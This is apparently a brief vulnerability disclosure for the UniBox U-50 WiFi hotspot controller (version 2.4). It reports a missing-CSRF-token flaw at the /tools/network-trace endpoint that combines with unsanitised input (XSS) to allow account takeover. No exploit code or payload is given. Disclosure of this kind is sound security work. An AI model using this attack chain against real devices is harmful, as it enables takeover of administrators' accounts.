About the Product:  
UniBox is one of the most innovative and reliable Hotspot Controllers in  
the market today. You can install UniBox to manage any sized WiFi  
network without having to replace any existing infrastructure. With  
UniBox, you don't need any other solution for managing WiFi access. It  
comes packed with features so just one box is enough to handle all the  
functions of WiFi hotspots.  
An issue was discovered on Unibox U-50 with version Unibox 2.4 and  
poterntially respected all other devices. There is CSRF via  
/tools/network-trace with resultant XSS due to lack of csrf token and  
user input validation.  
Additional Information  
The web interface of the SMB Unibox does not validate the csrftoken,and  
the /tools/network-trace page does not properly sanitize the  
user input which leads to xss, By combining this two attack we can form  
the XSRF request which leads to complete account takeover using XSRF.
